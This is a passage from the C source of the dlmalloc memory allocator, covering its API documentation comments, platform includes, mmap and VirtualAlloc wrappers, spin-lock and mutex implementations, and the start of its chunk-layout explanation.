independent_comallac differs from independent_calloc in that each
element may have a different size, and also that it does not
automatically clear elements.
independent_comalloc can be used to speed up allocation in cases
where several structs or objects must always be allocated at the
same time. For example:
struct Head { ... }
struct Foot { ... }
void send_message(char* msg) {
int msglen = strlen(msg);
size_t sizes[3] = { sizeof(struct Head), msglen, sizeof(struct Foot) };
void* chunks[3];
if (independent_comalloc(3, sizes, chunks) == 0)
die();
struct Head* head = (struct Head*)(chunks[0]);
char* body = (char*)(chunks[1]);
struct Foot* foot = (struct Foot*)(chunks[2]);
// ...
}
In general though, independent_comalloc is worth using only for
larger values of n_elements. For small values, you probably won't
detect enough difference from series of malloc calls to bother.
Overuse of independent_comalloc can increase overall memory usage,
since it cannot reuse existing noncontiguous small chunks that
might be available for some of the elements.
*/
DLMALLOC_EXPORT void** dlindependent_comalloc(size_t, size_t*, void**);
/*
bulk_free(void* array[], size_t n_elements)
Frees and clears (sets to null) each non-null pointer in the given
array. This is likely to be faster than freeing them one-by-one.
If footers are used, pointers that have been allocated in different
mspaces are not freed or cleared, and the count of all such pointers
is returned. For large arrays of pointers with poor locality, it
may be worthwhile to sort this array before calling bulk_free.
*/
DLMALLOC_EXPORT size_t dlbulk_free(void**, size_t n_elements);
/*
pvalloc(size_t n);
Equivalent to valloc(minimum-page-that-holds(n)), that is,
round up n to nearest pagesize.
*/
DLMALLOC_EXPORT void* dlpvalloc(size_t);
/*
malloc_trim(size_t pad);
If possible, gives memory back to the system (via negative arguments
to sbrk) if there is unused memory at the `high' end of the malloc
pool or in unused MMAP segments. You can call this after freeing
large blocks of memory to potentially reduce the system-level memory
requirements of a program. However, it cannot guarantee to reduce
memory. Under some allocation patterns, some large free blocks of
memory will be locked between two used chunks, so they cannot be
given back to the system.
The `pad' argument to malloc_trim represents the amount of free
trailing space to leave untrimmed. If this argument is zero, only
the minimum amount of memory to maintain internal data structures
will be left. Non-zero arguments can be supplied to maintain enough
trailing space to service future expected allocations without having
to re-obtain memory from the system.
Malloc_trim returns 1 if it actually released any memory, else 0.
*/
DLMALLOC_EXPORT int dlmalloc_trim(size_t);
/*
malloc_stats();
Prints on stderr the amount of space obtained from the system (both
via sbrk and mmap), the maximum amount (which may be more than
current if malloc_trim and/or munmap got called), and the current
number of bytes allocated via malloc (or realloc, etc) but not yet
freed. Note that this is the number of bytes allocated, not the
number requested. It will be larger than the number requested
because of alignment and bookkeeping overhead. Because it includes
alignment wastage as being in use, this figure may be greater than
zero even when no user-level chunks are allocated.
The reported current and maximum system memory can be inaccurate if
a program makes other calls to system memory allocation functions
(normally sbrk) outside of malloc.
malloc_stats prints only the most commonly interesting statistics.
More information can be obtained by calling mallinfo.
*/
DLMALLOC_EXPORT void dlmalloc_stats(void);
/*
malloc_usable_size(void* p);
Returns the number of bytes you can actually use in
an allocated chunk, which may be more than you requested (although
often not) due to alignment and minimum size constraints.
You can use this many bytes without worrying about
overwriting other allocated objects. This is not a particularly great
programming practice. malloc_usable_size can be more useful in
debugging and assertions, for example:
p = malloc(n);
assert(malloc_usable_size(p) >= 256);
*/
size_t dlmalloc_usable_size(void*);
#endif /* ONLY_MSPACES */
#if MSPACES
/*
mspace is an opaque type representing an independent
region of space that supports mspace_malloc, etc.
*/
typedef void* mspace;
/*
create_mspace creates and returns a new independent space with the
given initial capacity, or, if 0, the default granularity size. It
returns null if there is no system memory available to create the
space. If argument locked is non-zero, the space uses a separate
lock to control access. The capacity of the space will grow
dynamically as needed to service mspace_malloc requests. You can
control the sizes of incremental increases of this space by
compiling with a different DEFAULT_GRANULARITY or dynamically
setting with mallopt(M_GRANULARITY, value).
*/
DLMALLOC_EXPORT mspace create_mspace(size_t capacity, int locked);
/*
destroy_mspace destroys the given space, and attempts to return all
of its memory back to the system, returning the total number of
bytes freed. After destruction, the results of access to all memory
used by the space become undefined.
*/
DLMALLOC_EXPORT size_t destroy_mspace(mspace msp);
/*
create_mspace_with_base uses the memory supplied as the initial base
of a new mspace. Part (less than 128*sizeof(size_t) bytes) of this
space is used for bookkeeping, so the capacity must be at least this
large. (Otherwise 0 is returned.) When this initial space is
exhausted, additional memory will be obtained from the system.
Destroying this space will deallocate all additionally allocated
space (if possible) but not the initial base.
*/
DLMALLOC_EXPORT mspace create_mspace_with_base(void* base, size_t capacity, int locked);
/*
mspace_track_large_chunks controls whether requests for large chunks
are allocated in their own untracked mmapped regions, separate from
others in this mspace. By default large chunks are not tracked,
which reduces fragmentation. However, such chunks are not
necessarily released to the system upon destroy_mspace. Enabling
tracking by setting to true may increase fragmentation, but avoids
leakage when relying on destroy_mspace to release all memory
allocated using this space. The function returns the previous
setting.
*/
DLMALLOC_EXPORT int mspace_track_large_chunks(mspace msp, int enable);
/*
mspace_malloc behaves as malloc, but operates within
the given space.
*/
DLMALLOC_EXPORT void* mspace_malloc(mspace msp, size_t bytes);
/*
mspace_free behaves as free, but operates within
the given space.
If compiled with FOOTERS==1, mspace_free is not actually needed.
free may be called instead of mspace_free because freed chunks from
any space are handled by their originating spaces.
*/
DLMALLOC_EXPORT void mspace_free(mspace msp, void* mem);
/*
mspace_realloc behaves as realloc, but operates within
the given space.
If compiled with FOOTERS==1, mspace_realloc is not actually
needed. realloc may be called instead of mspace_realloc because
realloced chunks from any space are handled by their originating
spaces.
*/
DLMALLOC_EXPORT void* mspace_realloc(mspace msp, void* mem, size_t newsize);
/*
mspace_calloc behaves as calloc, but operates within
the given space.
*/
DLMALLOC_EXPORT void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size);
/*
mspace_memalign behaves as memalign, but operates within
the given space.
*/
DLMALLOC_EXPORT void* mspace_memalign(mspace msp, size_t alignment, size_t bytes);
/*
mspace_independent_calloc behaves as independent_calloc, but
operates within the given space.
*/
DLMALLOC_EXPORT void** mspace_independent_calloc(mspace msp, size_t n_elements,
size_t elem_size, void* chunks[]);
/*
mspace_independent_comalloc behaves as independent_comalloc, but
operates within the given space.
*/
DLMALLOC_EXPORT void** mspace_independent_comalloc(mspace msp, size_t n_elements,
size_t sizes[], void* chunks[]);
/*
mspace_footprint() returns the number of bytes obtained from the
system for this space.
*/
DLMALLOC_EXPORT size_t mspace_footprint(mspace msp);
/*
mspace_max_footprint() returns the peak number of bytes obtained from the
system for this space.
*/
DLMALLOC_EXPORT size_t mspace_max_footprint(mspace msp);
#if !NO_MALLINFO
/*
mspace_mallinfo behaves as mallinfo, but reports properties of
the given space.
*/
DLMALLOC_EXPORT struct mallinfo mspace_mallinfo(mspace msp);
#endif /* NO_MALLINFO */
/*
malloc_usable_size(void* p) behaves the same as malloc_usable_size;
*/
DLMALLOC_EXPORT size_t mspace_usable_size(const void* mem);
/*
mspace_malloc_stats behaves as malloc_stats, but reports
properties of the given space.
*/
DLMALLOC_EXPORT void mspace_malloc_stats(mspace msp);
/*
mspace_trim behaves as malloc_trim, but
operates within the given space.
*/
DLMALLOC_EXPORT int mspace_trim(mspace msp, size_t pad);
/*
An alias for mallopt.
*/
DLMALLOC_EXPORT int mspace_mallopt(int, int);
#endif /* MSPACES */
#ifdef __cplusplus
} /* end of extern "C" */
#endif /* __cplusplus */
/*
========================================================================
To make a fully customizable malloc.h header file, cut everything
above this line, put into file malloc.h, edit to suit, and #include it
on the next line, as well as in programs that use this malloc.
========================================================================
*/
/* #include "malloc.h" */
/*------------------------------ internal #includes ---------------------- */
#ifdef _MSC_VER
#pragma warning( disable : 4146 ) /* no "unsigned" warnings */
#endif /* _MSC_VER */
#if !NO_MALLOC_STATS
#include <stdio.h> /* for printing in malloc_stats */
#endif /* NO_MALLOC_STATS */
#ifndef LACKS_ERRNO_H
#include <errno.h> /* for MALLOC_FAILURE_ACTION */
#endif /* LACKS_ERRNO_H */
#ifdef DEBUG
#if ABORT_ON_ASSERT_FAILURE
#undef assert
#define assert(x) if(!(x)) ABORT
#else /* ABORT_ON_ASSERT_FAILURE */
#include <assert.h>
#endif /* ABORT_ON_ASSERT_FAILURE */
#else /* DEBUG */
#ifndef assert
#define assert(x)
#endif
#define DEBUG 0
#endif /* DEBUG */
#if !defined(WIN32) && !defined(LACKS_TIME_H)
#include <time.h> /* for magic initialization */
#endif /* WIN32 */
#ifndef LACKS_STDLIB_H
#include <stdlib.h> /* for abort() */
#endif /* LACKS_STDLIB_H */
#ifndef LACKS_STRING_H
#include <string.h> /* for memset etc */
#endif /* LACKS_STRING_H */
#if USE_BUILTIN_FFS
#ifndef LACKS_STRINGS_H
#include <strings.h> /* for ffs */
#endif /* LACKS_STRINGS_H */
#endif /* USE_BUILTIN_FFS */
#if HAVE_MMAP
#ifndef LACKS_SYS_MMAN_H
/* On some versions of linux, mremap decl in mman.h needs __USE_GNU set */
#if (defined(linux) && !defined(__USE_GNU))
#define __USE_GNU 1
#include <sys/mman.h> /* for mmap */
#undef __USE_GNU
#else
#include <sys/mman.h> /* for mmap */
#endif /* linux */
#endif /* LACKS_SYS_MMAN_H */
#ifndef LACKS_FCNTL_H
#include <fcntl.h>
#endif /* LACKS_FCNTL_H */
#endif /* HAVE_MMAP */
#ifndef LACKS_UNISTD_H
#include <unistd.h> /* for sbrk, sysconf */
#else /* LACKS_UNISTD_H */
#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__)
extern void* sbrk(ptrdiff_t);
#endif /* FreeBSD etc */
#endif /* LACKS_UNISTD_H */
/* Declarations for locking */
#if USE_LOCKS
#ifndef WIN32
#if defined (__SVR4) && defined (__sun) /* solaris */
#include <thread.h>
#elif !defined(LACKS_SCHED_H)
#include <sched.h>
#endif /* solaris or LACKS_SCHED_H */
#if (defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0) || !USE_SPIN_LOCKS
#include <pthread.h>
#endif /* USE_RECURSIVE_LOCKS ... */
#elif defined(_MSC_VER)
#ifndef _M_AMD64
/* These are already defined on AMD64 builds */
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
LONG __cdecl _InterlockedCompareExchange(LONG volatile *Dest, LONG Exchange, LONG Comp);
LONG __cdecl _InterlockedExchange(LONG volatile *Target, LONG Value);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* _M_AMD64 */
#pragma intrinsic (_InterlockedCompareExchange)
#pragma intrinsic (_InterlockedExchange)
#define interlockedcompareexchange _InterlockedCompareExchange
#define interlockedexchange _InterlockedExchange
#elif defined(WIN32) && defined(__GNUC__)
#define interlockedcompareexchange(a, b, c) __sync_val_compare_and_swap(a, c, b)
#define interlockedexchange __sync_lock_test_and_set
#endif /* Win32 */
#else /* USE_LOCKS */
#endif /* USE_LOCKS */
#ifndef LOCK_AT_FORK
#define LOCK_AT_FORK 0
#endif
/* Declarations for bit scanning on win32 */
#if defined(_MSC_VER) && _MSC_VER>=1300
#ifndef BitScanForward /* Try to avoid pulling in WinNT.h */
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
unsigned char _BitScanForward(unsigned long *index, unsigned long mask);
unsigned char _BitScanReverse(unsigned long *index, unsigned long mask);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#define BitScanForward _BitScanForward
#define BitScanReverse _BitScanReverse
#pragma intrinsic(_BitScanForward)
#pragma intrinsic(_BitScanReverse)
#endif /* BitScanForward */
#endif /* defined(_MSC_VER) && _MSC_VER>=1300 */
#ifndef WIN32
#ifndef malloc_getpagesize
# ifdef _SC_PAGESIZE /* some SVR4 systems omit an underscore */
# ifndef _SC_PAGE_SIZE
# define _SC_PAGE_SIZE _SC_PAGESIZE
# endif
# endif
# ifdef _SC_PAGE_SIZE
# define malloc_getpagesize sysconf(_SC_PAGE_SIZE)
# else
# if defined(BSD) || defined(DGUX) || defined(HAVE_GETPAGESIZE)
extern size_t getpagesize();
# define malloc_getpagesize getpagesize()
# else
# ifdef WIN32 /* use supplied emulation of getpagesize */
# define malloc_getpagesize getpagesize()
# else
# ifndef LACKS_SYS_PARAM_H
# include <sys/param.h>
# endif
# ifdef EXEC_PAGESIZE
# define malloc_getpagesize EXEC_PAGESIZE
# else
# ifdef NBPG
# ifndef CLSIZE
# define malloc_getpagesize NBPG
# else
# define malloc_getpagesize (NBPG * CLSIZE)
# endif
# else
# ifdef NBPC
# define malloc_getpagesize NBPC
# else
# ifdef PAGESIZE
# define malloc_getpagesize PAGESIZE
# else /* just guess */
# define malloc_getpagesize ((size_t)4096U)
# endif
# endif
# endif
# endif
# endif
# endif
# endif
#endif
#endif
/* ------------------- size_t and alignment properties -------------------- */
/* The byte and bit size of a size_t */
#define SIZE_T_SIZE (sizeof(size_t))
#define SIZE_T_BITSIZE (sizeof(size_t) << 3)
/* Some constants coerced to size_t */
/* Annoying but necessary to avoid errors on some platforms */
#define SIZE_T_ZERO ((size_t)0)
#define SIZE_T_ONE ((size_t)1)
#define SIZE_T_TWO ((size_t)2)
#define SIZE_T_FOUR ((size_t)4)
#define TWO_SIZE_T_SIZES (SIZE_T_SIZE<<1)
#define FOUR_SIZE_T_SIZES (SIZE_T_SIZE<<2)
#define SIX_SIZE_T_SIZES (FOUR_SIZE_T_SIZES+TWO_SIZE_T_SIZES)
#define HALF_MAX_SIZE_T (MAX_SIZE_T / 2U)
/* The bit mask value corresponding to MALLOC_ALIGNMENT */
#define CHUNK_ALIGN_MASK (MALLOC_ALIGNMENT - SIZE_T_ONE)
/* True if address a has acceptable alignment */
#define is_aligned(A) (((size_t)((A)) & (CHUNK_ALIGN_MASK)) == 0)
/* the number of bytes to offset an address to align it */
#define align_offset(A)\
((((size_t)(A) & CHUNK_ALIGN_MASK) == 0)? 0 :\
((MALLOC_ALIGNMENT - ((size_t)(A) & CHUNK_ALIGN_MASK)) & CHUNK_ALIGN_MASK))
/* -------------------------- MMAP preliminaries ------------------------- */
/*
If HAVE_MORECORE or HAVE_MMAP are false, we just define calls and
checks to fail so compiler optimizer can delete code rather than
using so many "#if"s.
*/
/* MORECORE and MMAP must return MFAIL on failure */
#define MFAIL ((void*)(MAX_SIZE_T))
#define CMFAIL ((char*)(MFAIL)) /* defined for convenience */
#if HAVE_MMAP
#ifndef WIN32
#define MUNMAP_DEFAULT(a, s) munmap((a), (s))
#define MMAP_PROT (PROT_READ|PROT_WRITE)
#if !defined(MAP_ANONYMOUS) && defined(MAP_ANON)
#define MAP_ANONYMOUS MAP_ANON
#endif /* MAP_ANON */
#ifdef MAP_ANONYMOUS
#define MMAP_FLAGS (MAP_PRIVATE|MAP_ANONYMOUS)
#define MMAP_DEFAULT(s) mmap(0, (s), MMAP_PROT, MMAP_FLAGS, -1, 0)
#else /* MAP_ANONYMOUS */
/*
Nearly all versions of mmap support MAP_ANONYMOUS, so the following
is unlikely to be needed, but is supplied just in case.
*/
#define MMAP_FLAGS (MAP_PRIVATE)
static int dev_zero_fd = -1; /* Cached file descriptor for /dev/zero. */
#define MMAP_DEFAULT(s) ((dev_zero_fd < 0) ? \
(dev_zero_fd = open("/dev/zero", O_RDWR), \
mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) : \
mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0))
#endif /* MAP_ANONYMOUS */
#define DIRECT_MMAP_DEFAULT(s) MMAP_DEFAULT(s)
#else /* WIN32 */
/* Win32 MMAP via VirtualAlloc */
static FORCEINLINE void* win32mmap(size_t size) {
void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
return (ptr != 0)? ptr: MFAIL;
}
/* For direct MMAP, use MEM_TOP_DOWN to minimize interference */
static FORCEINLINE void* win32direct_mmap(size_t size) {
void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_READWRITE);
return (ptr != 0)? ptr: MFAIL;
}
/* This function supports releasing coalesed segments */
static FORCEINLINE int win32munmap(void* ptr, size_t size) {
MEMORY_BASIC_INFORMATION minfo;
char* cptr = (char*)ptr;
while (size) {
if (VirtualQuery(cptr, &minfo, sizeof(minfo)) == 0)
return -1;
if (minfo.BaseAddress != cptr || minfo.AllocationBase != cptr ||
minfo.State != MEM_COMMIT || minfo.RegionSize > size)
return -1;
if (VirtualFree(cptr, 0, MEM_RELEASE) == 0)
return -1;
cptr += minfo.RegionSize;
size -= minfo.RegionSize;
}
return 0;
}
#define MMAP_DEFAULT(s) win32mmap(s)
#define MUNMAP_DEFAULT(a, s) win32munmap((a), (s))
#define DIRECT_MMAP_DEFAULT(s) win32direct_mmap(s)
#endif /* WIN32 */
#endif /* HAVE_MMAP */
#if HAVE_MREMAP
#ifndef WIN32
#define MREMAP_DEFAULT(addr, osz, nsz, mv) mremap((addr), (osz), (nsz), (mv))
#endif /* WIN32 */
#endif /* HAVE_MREMAP */
/**
* Define CALL_MORECORE
*/
#if HAVE_MORECORE
#ifdef MORECORE
#define CALL_MORECORE(S) MORECORE(S)
#else /* MORECORE */
#define CALL_MORECORE(S) MORECORE_DEFAULT(S)
#endif /* MORECORE */
#else /* HAVE_MORECORE */
#define CALL_MORECORE(S) MFAIL
#endif /* HAVE_MORECORE */
/**
* Define CALL_MMAP/CALL_MUNMAP/CALL_DIRECT_MMAP
*/
#if HAVE_MMAP
#define USE_MMAP_BIT (SIZE_T_ONE)
#ifdef MMAP
#define CALL_MMAP(s) MMAP(s)
#else /* MMAP */
#define CALL_MMAP(s) MMAP_DEFAULT(s)
#endif /* MMAP */
#ifdef MUNMAP
#define CALL_MUNMAP(a, s) MUNMAP((a), (s))
#else /* MUNMAP */
#define CALL_MUNMAP(a, s) MUNMAP_DEFAULT((a), (s))
#endif /* MUNMAP */
#ifdef DIRECT_MMAP
#define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s)
#else /* DIRECT_MMAP */
#define CALL_DIRECT_MMAP(s) DIRECT_MMAP_DEFAULT(s)
#endif /* DIRECT_MMAP */
#else /* HAVE_MMAP */
#define USE_MMAP_BIT (SIZE_T_ZERO)
#define MMAP(s) MFAIL
#define MUNMAP(a, s) (-1)
#define DIRECT_MMAP(s) MFAIL
#define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s)
#define CALL_MMAP(s) MMAP(s)
#define CALL_MUNMAP(a, s) MUNMAP((a), (s))
#endif /* HAVE_MMAP */
/**
* Define CALL_MREMAP
*/
#if HAVE_MMAP && HAVE_MREMAP
#ifdef MREMAP
#define CALL_MREMAP(addr, osz, nsz, mv) MREMAP((addr), (osz), (nsz), (mv))
#else /* MREMAP */
#define CALL_MREMAP(addr, osz, nsz, mv) MREMAP_DEFAULT((addr), (osz), (nsz), (mv))
#endif /* MREMAP */
#else /* HAVE_MMAP && HAVE_MREMAP */
#define CALL_MREMAP(addr, osz, nsz, mv) MFAIL
#endif /* HAVE_MMAP && HAVE_MREMAP */
/* mstate bit set if continguous morecore disabled or failed */
#define USE_NONCONTIGUOUS_BIT (4U)
/* segment bit set in create_mspace_with_base */
#define EXTERN_BIT (8U)
/* --------------------------- Lock preliminaries ------------------------ */
/*
When locks are defined, there is one global lock, plus
one per-mspace lock.
The global lock_ensures that mparams.magic and other unique
mparams values are initialized only once. It also protects
sequences of calls to MORECORE. In many cases sys_alloc requires
two calls, that should not be interleaved with calls by other
threads. This does not protect against direct calls to MORECORE
by other threads not using this lock, so there is still code to
cope the best we can on interference.
Per-mspace locks surround calls to malloc, free, etc.
By default, locks are simple non-reentrant mutexes.
Because lock-protected regions generally have bounded times, it is
OK to use the supplied simple spinlocks. Spinlocks are likely to
improve performance for lightly contended applications, but worsen
performance under heavy contention.
If USE_LOCKS is > 1, the definitions of lock routines here are
bypassed, in which case you will need to define the type MLOCK_T,
and at least INITIAL_LOCK, DESTROY_LOCK, ACQUIRE_LOCK, RELEASE_LOCK
and TRY_LOCK. You must also declare a
static MLOCK_T malloc_global_mutex = { initialization values };.
*/
#if !USE_LOCKS
#define USE_LOCK_BIT (0U)
#define INITIAL_LOCK(l) (0)
#define DESTROY_LOCK(l) (0)
#define ACQUIRE_MALLOC_GLOBAL_LOCK()
#define RELEASE_MALLOC_GLOBAL_LOCK()
#else
#if USE_LOCKS > 1
/* ----------------------- User-defined locks ------------------------ */
/* Define your own lock implementation here */
/* #define INITIAL_LOCK(lk) ... */
/* #define DESTROY_LOCK(lk) ... */
/* #define ACQUIRE_LOCK(lk) ... */
/* #define RELEASE_LOCK(lk) ... */
/* #define TRY_LOCK(lk) ... */
/* static MLOCK_T malloc_global_mutex = ... */
#elif USE_SPIN_LOCKS
/* First, define CAS_LOCK and CLEAR_LOCK on ints */
/* Note CAS_LOCK defined to return 0 on success */
#if defined(__GNUC__)&& (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1))
#define CAS_LOCK(sl) __sync_lock_test_and_set(sl, 1)
#define CLEAR_LOCK(sl) __sync_lock_release(sl)
#elif (defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)))
/* Custom spin locks for older gcc on x86 */
static FORCEINLINE int x86_cas_lock(int *sl) {
int ret;
int val = 1;
int cmp = 0;
__asm__ __volatile__ ("lock; cmpxchgl %1, %2"
: "=a" (ret)
: "r" (val), "m" (*(sl)), "0"(cmp)
: "memory", "cc");
return ret;
}
static FORCEINLINE void x86_clear_lock(int* sl) {
assert(*sl != 0);
int prev = 0;
int ret;
__asm__ __volatile__ ("lock; xchgl %0, %1"
: "=r" (ret)
: "m" (*(sl)), "0"(prev)
: "memory");
}
#define CAS_LOCK(sl) x86_cas_lock(sl)
#define CLEAR_LOCK(sl) x86_clear_lock(sl)
#else /* Win32 MSC */
#define CAS_LOCK(sl) interlockedexchange(sl, (LONG)1)
#define CLEAR_LOCK(sl) interlockedexchange (sl, (LONG)0)
#endif /* ... gcc spins locks ... */
/* How to yield for a spin lock */
#define SPINS_PER_YIELD 63
#if defined(_MSC_VER)
#define SLEEP_EX_DURATION 50 /* delay for yield/sleep */
#define SPIN_LOCK_YIELD SleepEx(SLEEP_EX_DURATION, FALSE)
#elif defined (__SVR4) && defined (__sun) /* solaris */
#define SPIN_LOCK_YIELD thr_yield();
#elif !defined(LACKS_SCHED_H)
#define SPIN_LOCK_YIELD sched_yield();
#else
#define SPIN_LOCK_YIELD
#endif /* ... yield ... */
#if !defined(USE_RECURSIVE_LOCKS) || USE_RECURSIVE_LOCKS == 0
/* Plain spin locks use single word (embedded in malloc_states) */
static int spin_acquire_lock(int *sl) {
int spins = 0;
while (*(volatile int *)sl != 0 || CAS_LOCK(sl)) {
if ((++spins & SPINS_PER_YIELD) == 0) {
SPIN_LOCK_YIELD;
}
}
return 0;
}
#define MLOCK_T int
#define TRY_LOCK(sl) !CAS_LOCK(sl)
#define RELEASE_LOCK(sl) CLEAR_LOCK(sl)
#define ACQUIRE_LOCK(sl) (CAS_LOCK(sl)? spin_acquire_lock(sl) : 0)
#define INITIAL_LOCK(sl) (*sl = 0)
#define DESTROY_LOCK(sl) (0)
static MLOCK_T malloc_global_mutex = 0;
#else /* USE_RECURSIVE_LOCKS */
/* types for lock owners */
#ifdef WIN32
#define THREAD_ID_T DWORD
#define CURRENT_THREAD GetCurrentThreadId()
#define EQ_OWNER(X,Y) ((X) == (Y))
#else
/*
Note: the following assume that pthread_t is a type that can be
initialized to (casted) zero. If this is not the case, you will need to
somehow redefine these or not use spin locks.
*/
#define THREAD_ID_T pthread_t
#define CURRENT_THREAD pthread_self()
#define EQ_OWNER(X,Y) pthread_equal(X, Y)
#endif
struct malloc_recursive_lock {
int sl;
unsigned int c;
THREAD_ID_T threadid;
};
#define MLOCK_T struct malloc_recursive_lock
static MLOCK_T malloc_global_mutex = { 0, 0, (THREAD_ID_T)0};
static FORCEINLINE void recursive_release_lock(MLOCK_T *lk) {
assert(lk->sl != 0);
if (--lk->c == 0) {
CLEAR_LOCK(&lk->sl);
}
}
static FORCEINLINE int recursive_acquire_lock(MLOCK_T *lk) {
THREAD_ID_T mythreadid = CURRENT_THREAD;
int spins = 0;
for (;;) {
if (*((volatile int *)(&lk->sl)) == 0) {
if (!CAS_LOCK(&lk->sl)) {
lk->threadid = mythreadid;
lk->c = 1;
return 0;
}
}
else if (EQ_OWNER(lk->threadid, mythreadid)) {
++lk->c;
return 0;
}
if ((++spins & SPINS_PER_YIELD) == 0) {
SPIN_LOCK_YIELD;
}
}
}
static FORCEINLINE int recursive_try_lock(MLOCK_T *lk) {
THREAD_ID_T mythreadid = CURRENT_THREAD;
if (*((volatile int *)(&lk->sl)) == 0) {
if (!CAS_LOCK(&lk->sl)) {
lk->threadid = mythreadid;
lk->c = 1;
return 1;
}
}
else if (EQ_OWNER(lk->threadid, mythreadid)) {
++lk->c;
return 1;
}
return 0;
}
#define RELEASE_LOCK(lk) recursive_release_lock(lk)
#define TRY_LOCK(lk) recursive_try_lock(lk)
#define ACQUIRE_LOCK(lk) recursive_acquire_lock(lk)
#define INITIAL_LOCK(lk) ((lk)->threadid = (THREAD_ID_T)0, (lk)->sl = 0, (lk)->c = 0)
#define DESTROY_LOCK(lk) (0)
#endif /* USE_RECURSIVE_LOCKS */
#elif defined(WIN32) /* Win32 critical sections */
#define MLOCK_T CRITICAL_SECTION
#define ACQUIRE_LOCK(lk) (EnterCriticalSection(lk), 0)
#define RELEASE_LOCK(lk) LeaveCriticalSection(lk)
#define TRY_LOCK(lk) TryEnterCriticalSection(lk)
#define INITIAL_LOCK(lk) (!InitializeCriticalSectionAndSpinCount((lk), 0x80000000|4000))
#define DESTROY_LOCK(lk) (DeleteCriticalSection(lk), 0)
#define NEED_GLOBAL_LOCK_INIT
static MLOCK_T malloc_global_mutex;
static volatile LONG malloc_global_mutex_status;
/* Use spin loop to initialize global lock */
static void init_malloc_global_mutex() {
for (;;) {
long stat = malloc_global_mutex_status;
if (stat > 0)
return;
/* transition to < 0 while initializing, then to > 0) */
if (stat == 0 &&
interlockedcompareexchange(&malloc_global_mutex_status, (LONG)-1, (LONG)0) == 0) {
InitializeCriticalSection(&malloc_global_mutex);
interlockedexchange(&malloc_global_mutex_status, (LONG)1);
return;
}
SleepEx(0, FALSE);
}
}
#else /* pthreads-based locks */
#define MLOCK_T pthread_mutex_t
#define ACQUIRE_LOCK(lk) pthread_mutex_lock(lk)
#define RELEASE_LOCK(lk) pthread_mutex_unlock(lk)
#define TRY_LOCK(lk) (!pthread_mutex_trylock(lk))
#define INITIAL_LOCK(lk) pthread_init_lock(lk)
#define DESTROY_LOCK(lk) pthread_mutex_destroy(lk)
#if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0 && defined(linux) && !defined(PTHREAD_MUTEX_RECURSIVE)
/* Cope with old-style linux recursive lock initialization by adding */
/* skipped internal declaration from pthread.h */
extern int pthread_mutexattr_setkind_np __P ((pthread_mutexattr_t *__attr,
int __kind));
#define PTHREAD_MUTEX_RECURSIVE PTHREAD_MUTEX_RECURSIVE_NP
#define pthread_mutexattr_settype(x,y) pthread_mutexattr_setkind_np(x,y)
#endif /* USE_RECURSIVE_LOCKS ... */
static MLOCK_T malloc_global_mutex = PTHREAD_MUTEX_INITIALIZER;
static int pthread_init_lock (MLOCK_T *lk) {
pthread_mutexattr_t attr;
if (pthread_mutexattr_init(&attr)) return 1;
#if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0
if (pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE)) return 1;
#endif
if (pthread_mutex_init(lk, &attr)) return 1;
if (pthread_mutexattr_destroy(&attr)) return 1;
return 0;
}
#endif /* ... lock types ... */
/* Common code for all lock types */
#define USE_LOCK_BIT (2U)
#ifndef ACQUIRE_MALLOC_GLOBAL_LOCK
#define ACQUIRE_MALLOC_GLOBAL_LOCK() ACQUIRE_LOCK(&malloc_global_mutex);
#endif
#ifndef RELEASE_MALLOC_GLOBAL_LOCK
#define RELEASE_MALLOC_GLOBAL_LOCK() RELEASE_LOCK(&malloc_global_mutex);
#endif
#endif /* USE_LOCKS */
/* ----------------------- Chunk representations ------------------------ */
/*
(The following includes lightly edited explanations by Colin Plumb.)
The malloc_chunk declaration below is misleading (but accurate and
necessary). It declares a "view" into memory allowing access to
necessary fields at known offsets from a given base.
Chunks of memory are maintained using a `boundary tag' method as
originally described by Knuth. (See the paper by Paul Wilson
ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a survey of such
techniques.) Sizes of free chunks are stored both in the front of
each chunk and at the end. This makes consolidating fragmented
chunks into bigger chunks fast. The head fields also hold bits
representing whether chunks are free or in use.
Here are some pictures to make it clearer. They are "exploded" to
show that the state of a chunk can be thought of as extending from
the high 31 bits of the head field of its header through the
prev_foot and PINUSE_BIT bit of the following chunk header.
A chunk that's in use looks like:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk (if P = 0) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P|
| Size of this chunk 1| +-+
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+- -+
| |
+- -+
| :
+- size - sizeof(size_t) available payload bytes -+
: |
chunk-> +- -+
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |1|
| Size of next chunk (may or may not be in use) | +-+
